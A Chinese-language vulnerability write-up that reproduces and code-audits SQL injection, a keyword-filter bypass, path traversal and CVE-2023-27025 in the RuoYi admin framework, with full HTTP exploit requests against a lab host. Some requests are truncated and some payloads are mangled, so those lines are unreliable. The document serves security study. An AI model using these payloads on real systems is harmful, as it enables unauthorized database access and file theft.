1 概述 1.1 前言 在之前尝试挖 src 和 cnvd 的过程中,找到的管理系统,十个里面四个是若依或者若依二开;还有四个是 Jeecg-boot 或者 Jeecg-boot 二开;剩下两个,一个是看来就很难打的系统,另一个是看起来的很垃圾的,即使没有弱口令,在其他地方也能进的感觉;
因此,打算把这两个大框架的漏洞全部复现一下,顺便也深入学习一下代码审计(因为这两个框架都开源嘛,所以深入了解一下漏洞成因);
本次用来进行漏洞复现的若依主要是4.5.0、4.6.0、4.7.0、4.7.1、4.7.2、4.7.8、4.8.0 几个版本进行测试;
java 版本使用的是 jdk1.8.0_121,主要是为了远程 jndi 注入的实现;
1.2 简介 Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。
2 SQL 注入漏洞 2.1 注入点/role/list
接口(<V4.6.2) 漏洞复现
1 ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /system/role/list HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestContent-Length : 201Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/system/roleCookie : JSESSIONID=eaeb8b8f-7702-4f7e-ab5f-767d916498d1Priority : u=0pageSize =10 &pageNum=1 &orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5 BbeginTime%5 D=¶ms%5 BendTime%5 D=¶ms%5 BdataScope%5 D=and extractvalue(1 ,concat(0 x7e,(select user()),0 x7e))
漏洞分析
这里我们采用漏洞挖掘的思想进行漏洞分析
在 MyBatis 配置中一般使用#{}
实现类似预编译PreparedStatement 的占位效果,传入内容会进行相应的转义,可以用来防止 SQL 注入。
当 MyBatis 配置中采用${}
方式则是通过拼接字符串的形式构成 SQL 语句进行执行,容易产生 SQL 注入;
对于漏洞挖掘,首先需要找到的是容易产生 SQL 注入的点,也就是使用${}
进行拼接的 sql 语句,引入直接定位指定的文件掩码*.xml
,并且使用关键字符进行搜索,如${
或者正则搜索;
定位到一个容易产生 SQL 注入的 MyBatis 配置,位于RuoYi-4.6.0\ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <select id ="selectRoleList" parameterType ="SysRole" resultMap ="SysRoleResult" > <include refid ="selectRoleContactVo" /> where r.del_flag = '0' <if test ="roleName != null and roleName != ''" > AND r.role_name like concat('%', #{roleName}, '%') </if > <if test ="status != null and status != ''" > AND r.status = #{status} </if > <if test ="roleKey != null and roleKey != ''" > AND r.role_key like concat('%', #{roleKey}, '%') </if > <if test ="dataScope != null and dataScope != ''" > AND r.data_scope = #{dataScope} </if > <if test ="params.beginTime != null and params.beginTime != ''" > and date_format(r.create_time,'%y%m%d') > = date_format(#{params.beginTime},'%y%m%d') </if > <if test ="params.endTime != null and params.endTime != ''" > and date_format(r.create_time,'%y%m%d') < = date_format(#{params.endTime},'%y%m%d') </if > ${params.dataScope}</select >
该配置的 SQL 语句可以还原为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SELECT r.role_id, r.role_name, r.role_key, r.status, r.data_scope, r.create_timeFROM sys_role rLEFT JOIN sys_user_role ur ON r.role_id = ur.role_idLEFT JOIN sys_user u ON ur.user_id = u.user_idWHERE r.del_flag = '0' AND r.role_name LIKE CONCAT('%' , ?, '%' ) AND r.status = ? AND r.role_key LIKE CONCAT('%' , ?, '%' ) AND r.data_scope = ? AND DATE_FORMAT(r.create_time,'%y%m%d' ) >= DATE_FORMAT(?, '%y%m%d' ) AND DATE_FORMAT(r.create_time,'%y%m%d' ) <= DATE_FORMAT(?, '%y%m%d' ) ${params.dataScope}
因此非常容易能够看出,只要params.dataScope
可控,就能够构造一个非常有效的 SQL 注入;
定位该使用该 XML 配置进行处理的接口,通过MyBatisX
插件定位函数,然后再一路查找函数用法,可以找到下方的接口处理函数,位于RuoYi-4.6.0\ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java
1 2 3 4 5 6 7 8 9 @RequiresPermissions("system:role:list") @PostMapping("/list") @ResponseBody public TableDataInfo list (SysRole role) { startPage(); List<SysRole> list = roleService.selectRoleList(role); return getDataTable(list); }
传入参数为SysRole
类型且没有对其进行任何过滤,SysRole
继承BaseEntity
类,在BaseEntity
类中存在对params
参数的定义,位于RuoYi-4.6.0/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class BaseEntity implements Serializable { private static final long serialVersionUID = 1L ; private String searchValue; private String createBy; @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") private Date createTime; private String updateBy; @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") private Date updateTime; private String remark; private Map<String, Object> params; ... }
因此,可以直接通过传入params[dataScope]=
参数对其中内容进行定义,该内容也会直接拼接在 sql 语句后,从而导致 sql 注入的产生。
2.2 注入点/role/export
接口(<V4.6.2) 漏洞复现
1 ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /system/role/export HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 179Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/system/roleCookie : JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56Priority : u=0roleName =&roleKey=&status=¶ms%5 BbeginTime%5 D=¶ms%5 BendTime%5 D=&orderByColumn=roleSort&isAsc=asc¶ms%5 BdataScope%5 D=and extractvalue(1 ,concat(0 x7e,(select user()),0 x7e))
漏洞分析 此处的漏洞分析内容其实与 2.1 小节的漏洞分析注入点/role/list接口 一致,因此这里不在赘述,简单进行分析。
根据 Mybatis 的配置可以看出在此处是存在 sql 注入的可能性;
RuoYi-4.6.0/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <select id ="selectRoleList" parameterType ="SysRole" resultMap ="SysRoleResult" > <include refid ="selectRoleContactVo" /> where r.del_flag = '0' <if test ="roleName != null and roleName != ''" > AND r.role_name like concat('%', #{roleName}, '%') </if > <if test ="status != null and status != ''" > AND r.status = #{status} </if > <if test ="roleKey != null and roleKey != ''" > AND r.role_key like concat('%', #{roleKey}, '%') </if > <if test ="dataScope != null and dataScope != ''" > AND r.data_scope = #{dataScope} </if > <if test ="params.beginTime != null and params.beginTime != ''" > and date_format(r.create_time,'%y%m%d') > = date_format(#{params.beginTime},'%y%m%d') </if > <if test ="params.endTime != null and params.endTime != ''" > and date_format(r.create_time,'%y%m%d') < = date_format(#{params.endTime},'%y%m%d') </if > ${params.dataScope}</select >
找到使用相应 Mybatis 配置的位置可以看出与/role/list
接口一致,传入的是SysRole
参数,从而能够通过定义params.dataScope
实现 sql 注入;
RuoYi-4.6.0/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java
1 2 3 4 5 6 7 8 9 10 @Log(title = "角色管理", businessType = BusinessType.EXPORT) @RequiresPermissions("system:role:export") @PostMapping("/export") @ResponseBody public AjaxResult export (SysRole role) { List<SysRole> list = roleService.selectRoleList(role); ExcelUtil<SysRole> util = new ExcelUtil <SysRole>(SysRole.class); return util.exportExcel(list, "角色数据" ); }
2.3 注入点/user/list
接口(<V4.6.2) 漏洞复现
1 ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /system/user/list HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestContent-Length : 227Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/system/userCookie : JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56Priority : u=0pageSize=10&pageNum =1&orderByColumn =createTime&isAsc =desc&deptId =&parentId =&loginName =&phonenumber =&status =¶ms %5BbeginTime%5D=¶ms %5BendTime%5D=¶ms %5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
漏洞分析 此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <select id ="selectUserList" parameterType ="SysUser" resultMap ="SysUserResult" > select u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.password, u.sex, u.salt, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by, u.create_time, u.remark, d.dept_name, d.leader from sys_user u left join sys_dept d on u.dept_id = d.dept_id where u.del_flag = '0' <if test ="loginName != null and loginName != ''" > AND u.login_name like concat('%', #{loginName}, '%') </if > <if test ="status != null and status != ''" > AND u.status = #{status} </if > <if test ="phonenumber != null and phonenumber != ''" > AND u.phonenumber like concat('%', #{phonenumber}, '%') </if > <if test ="params.beginTime != null and params.beginTime != ''" > AND date_format(u.create_time,'%y%m%d') > = date_format(#{params.beginTime},'%y%m%d') </if > <if test ="params.endTime != null and params.endTime != ''" > AND date_format(u.create_time,'%y%m%d') < = date_format(#{params.endTime},'%y%m%d') </if > <if test ="deptId != null and deptId != 0" > AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) )) </if > ${params.dataScope}</select >
1 2 3 4 5 6 7 8 9 @RequiresPermissions("system:user:list") @PostMapping("/list") @ResponseBody public TableDataInfo list (SysUser user) { startPage(); List<SysUser> list = userService.selectUserList(user); return getDataTable(list); }
2.4 注入点/dept/list
接口(<V4.6.2) 漏洞复现
1 ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /system/dept/list HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 93Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/system/deptCookie : JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56Priority : u=0deptName =&status=¶ms%5 BdataScope%5 D=and extractvalue(1 ,concat(0 x7e,(select user()),0 x7e))
漏洞分析 此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <select id ="selectDeptList" parameterType ="SysDept" resultMap ="SysDeptResult" > <include refid ="selectDeptVo" /> where d.del_flag = '0' <if test ="parentId != null and parentId != 0" > AND parent_id = #{parentId} </if > <if test ="deptName != null and deptName != ''" > AND dept_name like concat('%', #{deptName}, '%') </if > <if test ="status != null and status != ''" > AND status = #{status} </if > ${params.dataScope} order by d.parent_id, d.order_num </select >
1 2 3 4 5 6 7 8 @RequiresPermissions("system:dept:list") @PostMapping("/list") @ResponseBody public List<SysDept> list (SysDept dept) { List<SysDept> deptList = deptService.selectDeptList(dept); return deptList; }
2.5 注入点/role/authUser/allocatedList
接口(<V4.6.2) 漏洞复现
1 ¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /system/role/authUser/allocatedList HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencodedX-Requested-With : XMLHttpRequestContent-Length : 166Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/system/role/authUser/1Cookie : JSESSIONID=b185af4c-a86a-4b74-bf9f-8e422b68bc56pageSize =10 &pageNum=1 &orderByColumn=createTime&isAsc=desc&roleId=1 &loginName=&phonenumber=¶ms%5 BdataScope%5 D=and extractvalue(1 ,concat(0 x7e,(select user()),0 x7e))
漏洞分析 此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <select id ="selectAllocatedList" parameterType ="SysUser" resultMap ="SysUserResult" > select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time from sys_user u left join sys_dept d on u.dept_id = d.dept_id left join sys_user_role ur on u.user_id = ur.user_id left join sys_role r on r.role_id = ur.role_id where u.del_flag = '0' and r.role_id = #{roleId} <if test ="loginName != null and loginName != ''" > AND u.login_name like concat('%', #{loginName}, '%') </if > <if test ="phonenumber != null and phonenumber != ''" > AND u.phonenumber like concat('%', #{phonenumber}, '%') </if > ${params.dataScope}</select >
1 2 3 4 5 6 7 8 9 10 11 12 @RequiresPermissions("system:role:list") @PostMapping("/authUser/allocatedList") @ResponseBody public TableDataInfo allocatedList (SysUser user) { startPage(); List<SysUser> list = userService.selectAllocatedList(user); return getDataTable(list); }
2.6 注入点/role/authUser/unallocatedList
接口(<V4.6.2) 漏洞复现 通过接口/system/role/authUser/unallocatedList
发送 post 请求实现 sql 注入
1 loginName=&phoneNumber=¶ms%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select user()),0x7e))
漏洞分析 此处的漏洞分析内容其实与 2.1 小节的漏洞分析一致,因此这里不在赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <select id ="selectUnallocatedList" parameterType ="SysUser" resultMap ="SysUserResult" > select distinct u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time from sys_user u left join sys_dept d on u.dept_id = d.dept_id left join sys_user_role ur on u.user_id = ur.user_id left join sys_role r on r.role_id = ur.role_id where u.del_flag = '0' and (r.role_id != #{roleId} or r.role_id IS NULL) and u.user_id not in (select u.user_id from sys_user u inner join sys_user_role ur on u.user_id = ur.user_id and ur.role_id = #{roleId}) <if test ="loginName != null and loginName != ''" > AND u.login_name like concat('%', #{loginName}, '%') </if > <if test ="phonenumber != null and phonenumber != ''" > AND u.phonenumber like concat('%', #{phonenumber}, '%') </if > ${params.dataScope}</select >
1 2 3 4 5 6 7 8 9 10 11 12 @RequiresPermissions("system:role:list") @PostMapping("/authUser/unallocatedList") @ResponseBody public TableDataInfo unallocatedList (SysUser user) { startPage(); List<SysUser> list = userService.selectUnallocatedList(user); return getDataTable(list); }
2.7 注入点/dept/edit
接口(<V4.6.2) 漏洞复现 这个漏洞貌似很鸡肋,第一无法完全显示数据,第二是那个ancestors
参数的长度似乎有限制;
因此想要完全的实现泄漏数据几乎不可能,想要进行 sql 盲注其实也不太可能,因为长度有限制;各位如果有能够在该漏洞实现危害扩大的方法请务必告诉我;
抓取到上述数据包以后,修改parentId
传输参数为0
,然后再添加一下 payload 发送数据包;
1 &ordernum=1&ancestors=100)or(extractvalue(1,concat((select user()))));#
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /system/dept/edit HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 277Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/system/dept/edit/101Cookie : JSESSIONID=bb95c391-ec91-4058-a127-3616bb3fb37dPriority : u=0deptId= 101 &parentId= 0 &parentName= %E8 %8 B%A5 %E4 %BE %9 D%E7 %A7 %91 %E6 %8 A%80 &deptName= %E6 %B7 %B1 %E5 %9 C%B3 %E6 %80 %BB %E5 %85 %AC %E5 %8 F%B8 &orderNum= 1 &leader= %E8 %8 B%A5 %E4 %BE %9 D&phone= 15888888888 &email= ry%40 qq.com&status= 0 &ordernum= 1 &ancestors= 100 )or (extractvalue (1 , concat((select user()))))
漏洞分析 首先通过 Mybatis 配置文件进行查找,发现存在可能存在 sql 注入的配置,如下,位于RuoYi-4.6.0/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml
;
1 2 3 4 5 6 7 8 9 <update id ="updateDeptStatus" parameterType ="SysDept" > update sys_dept <set > <if test ="status != null and status != ''" > status = #{status},</if > <if test ="updateBy != null and updateBy != ''" > update_by = #{updateBy},</if > update_time = sysdate() </set > where dept_id in (${ancestors})</update >
利用插件MybatisX
找到相关函数RuoYi-4.6.0/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java
1 2 3 4 5 6 public void updateDeptStatus (SysDept dept) ;
通过函数查找用法可以找到RuoYi-4.6.0/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java#updateParentDeptStatus
1 2 3 4 5 6 7 8 9 10 11 12 private void updateParentDeptStatus (SysDept dept) { String updateBy = dept.getUpdateBy(); dept = deptMapper.selectDeptById(dept.getDeptId()); dept.setUpdateBy(updateBy); deptMapper.updateDeptStatus(dept); }
继续查找用法可以找到RuoYi-4.6.0/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java#updateDept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Override @Transactional public int updateDept (SysDept dept) { SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId()); SysDept oldDept = selectDeptById(dept.getDeptId()); if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept)) { String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId(); String oldAncestors = oldDept.getAncestors(); dept.setAncestors(newAncestors); updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors); } int result = deptMapper.updateDept(dept); if (UserConstants.DEPT_NORMAL.equals(dept.getStatus())) { updateParentDeptStatus(dept); } return result; }
继续查找可以发现在/system/dept/edit
接口处理函数RuoYi-4.6.0/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java#editSave
中进行了调用;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @Log(title = "部门管理", businessType = BusinessType.UPDATE) @RequiresPermissions("system:dept:edit") @PostMapping("/edit") @ResponseBody public AjaxResult editSave (@Validated SysDept dept) { if (UserConstants.DEPT_NAME_NOT_UNIQUE.equals(deptService.checkDeptNameUnique(dept))) { return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在" ); } else if (dept.getParentId().equals(dept.getDeptId())) { return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己" ); } else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus()) && deptService.selectNormalChildrenDeptById(dept.getDeptId()) > 0 ) { return AjaxResult.error("该部门包含未停用的子部门!" ); } dept.setUpdateBy(ShiroUtils.getLoginName()); return toAjax(deptService.updateDept(dept)); }
传入参数类型是SysDept
,其中参数内容包括ancestors
,因此可以通过定义ancestors
的内容实现 sql 注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class SysDept extends BaseEntity { private static final long serialVersionUID = 1L ; private Long deptId; private Long parentId; private String ancestors; private String deptName; private String orderNum; private String leader; private String phone; private String email; private String status; private String delFlag; private String parentName; ... }
ps:虽然在代码中并没有看到相关的限制行为,但是在实际测试的过程中发现,对ancestors
似乎是由长度限制的,我这边就不进行深入分析了,有兴趣的师傅可以分析一下原因。
漏洞复现 1 CREATE table candy as select extractvalue(1 ,concat(0x7e ,(select user ()), 0x7e ));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST / tool/ gen/ createTable HTTP/ 1.1 Host: 192.168 .1 .10 User - Agent: Mozilla/ 5.0 (Windows NT 10.0 ; Win64; x64; rv:141.0 ) Gecko/ 20100101 Firefox/ 141.0 Accept: application/ json, text/ javascript, *
漏洞分析 1 2 3 <update id ="createTable" > ${sql}</update >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 @RequiresRoles("admin") @Log(title = "创建表", businessType = BusinessType.OTHER) @PostMapping("/createTable") @ResponseBody public AjaxResult create (String sql) { List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql); List<String> tableNames = new ArrayList <>(); for (SQLStatement sqlStatement : sqlStatements) { if (sqlStatement instanceof MySqlCreateTableStatement) { MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement) sqlStatement; String tableName = createTableStatement.getTableName(); tableName = tableName.replaceAll("`" , "" ); int msg = genTableService.createTable(createTableStatement.toString()); if (msg == 0 ) { tableNames.add(tableName); } } else { return AjaxResult.error("请输入建表语句" ); } } List<GenTable> tableList = genTableService.selectDbTableListByNames((tableNames.toArray(new String [tableNames.size()]))); String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName" )); genTableService.importGenTable(tableList, operName); return AjaxResult.success(); }
根据代码中表现出来的结果可以看出,只要是创建表的 sql 语句即create table
都可以执行;
1 create table candy as select extractvalue (1 ,concat(0x7e ,(select user() ), 0x7e ))
漏洞复现 1 create table candy as selectuser()),0x7e ))
原始的 payload 已经行不通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /tool/gen/createTable HTTP/1.1 Host: 192.168 .1 .9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15 ; rv:141.0 ) Gecko/20100101 Firefox/141.0 Accept: application/json, text/javascript, *
将 payload 中的 select 后面的空格使用/**/
进行替换即可,具体原因请看漏洞分析
1 create table candy as selectuser()),0x7e ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /tool/gen/createTable HTTP/1.1 Host: 192.168 .1 .9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15 ; rv:141.0 ) Gecko/20100101 Firefox/141.0 Accept: application/json, text/javascript, *
漏洞分析 通过观察该接口的控制器,可以发现在函数执行开始就对关键词进行了过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @RequiresRoles("admin") @Log(title = "创建表", businessType = BusinessType.OTHER) @PostMapping("/createTable") @ResponseBody public AjaxResult create (String sql) { try { SqlUtil.filterKeyword(sql); List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql); List<String> tableNames = new ArrayList <>(); for (SQLStatement sqlStatement : sqlStatements) { if (sqlStatement instanceof MySqlCreateTableStatement) { MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement) sqlStatement; if (genTableService.createTable(createTableStatement.toString())) { String tableName = createTableStatement.getTableName().replaceAll("`" , "" ); tableNames.add(tableName); } } } List<GenTable> tableList = genTableService.selectDbTableListByNames(tableNames.toArray(new String [tableNames.size()])); String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName" )); genTableService.importGenTable(tableList, operName); return AjaxResult.success(); } catch (Exception e) { logger.error(e.getMessage(), e); return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void filterKeyword (String value) { if (StringUtils.isEmpty(value)) { return ; } String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|" ); for (int i = 0 ; i < sqlKeywords.length; i++) { if (StringUtils.indexOfIgnoreCase(value, sqlKeywords[i]) > -1 ) { throw new UtilException ("参数存在SQL注入风险" ); } } }
1 2 3 4 public static String SQL_REGEX = "select |insert |delete |update |drop |count |exec |chr |mid |master |truncate |char |and |declare " ;
可以发现其对大部分的关键词都进行了过滤,但是这个过滤貌似不太严谨,连空格都匹配是什么意思?
那我不用空格不就 bypass 了吗,没搞懂,空格使用/**/
即可绕过
3 任意文件下载 3.1 CNVD-2021-01931任意文件下载(<V4.5.1) 漏洞复现 1 http:/ / 192.168 .1 .10 / common/ download/ resource?resource= / profile/ ../ ../ ../ ../ Windows/ win.ini
1 2 3 4 5 6 7 8 9 10 11 12 GET / common/ download/ resource?resource= / profile/ ../ ../ ../ ../ Windows/ win.ini HTTP/ 1.1 Host: 192.168 .1 .10 User - Agent: Mozilla/ 5.0 (Windows NT 10.0 ; Win64; x64; rv:141.0 ) Gecko/ 20100101 Firefox/ 141.0 Accept: text/ html,application/ xhtml+ xml,application/ xml;q= 0.9 ,*
漏洞分析 下面即为相应文件下载接口的处理函数;这个文件下载接口是通过获取profile
变量的内容拼接resource
参数中/profile
后的内容进行的文件下载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @GetMapping("/common/download/resource") public void resourceDownload (String resource, HttpServletRequest request, HttpServletResponse response) throws Exception { String localPath = Global.getProfile(); String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); String downloadName = StringUtils.substringAfterLast(downloadPath, "/" ); response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); FileUtils.setAttachmentResponseHeader(response, downloadName); FileUtils.writeBytes(downloadPath, response.getOutputStream()); }
由于该函数并没有对resource
参数的内容进行任何过滤,因此会非常容易导致目录穿越等漏洞的产生;
这里也是没有过滤,所以通过目录穿越也是能够实现任意文件下载;
3.2 CVE-2023-27025 若依任意文件下载(<V4.7.7) 漏洞复现 首先通过定时任务执行setProfile
函数修改profile
设置的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /monitor/job/add HTTP/1.1 Host : 192.168.1.10User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 204Origin : http://192.168.1.10Connection : keep-aliveReferer : http://192.168.1.10/monitor/job/addCookie : JSESSIONID=63249f2e-0323-46b5-a29f-29be13153080Priority : u=0createBy =admin&jobName=CVE-2023 -27025 &jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('C%3 A%2 F%2 FWindows%2 F%2 Fwin.ini')&cronExpression=0 %2 F10+*+*+*+*+%3 F&misfirePolicy=1 &concurrent=1 &status=0 &remark=
执行一次定时任务修改profile
设置的值;
通过调度日志可以确定执行成功;然后访问(文件名随意,不以/profile
开头即可)
1 http://192.168.1.10/common/download/resource?resource=info.xml:.zip
通过定时任务修改为任意路径的文件即可做到下载任意文件;
漏洞分析 通过分析该接口的函数可以发现,这个文件下载接口是通过获取profile
变量的内容拼接resource
参数中/profile
后的内容进行的文件下载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @GetMapping("/common/download/resource") public void resourceDownload (String resource, HttpServletRequest request, HttpServletResponse response) throws Exception { try { if (!FileUtils.checkAllowDownload(resource)) { throw new Exception (StringUtils.format("资源文件({})非法,不允许下载。 " , resource)); } String localPath = RuoYiConfig.getProfile(); String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); String downloadName = StringUtils.substringAfterLast(downloadPath, "/" ); response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE); FileUtils.setAttachmentResponseHeader(response, downloadName); FileUtils.writeBytes(downloadPath, response.getOutputStream()); } catch (Exception e) { log.error("下载文件失败" , e); } }
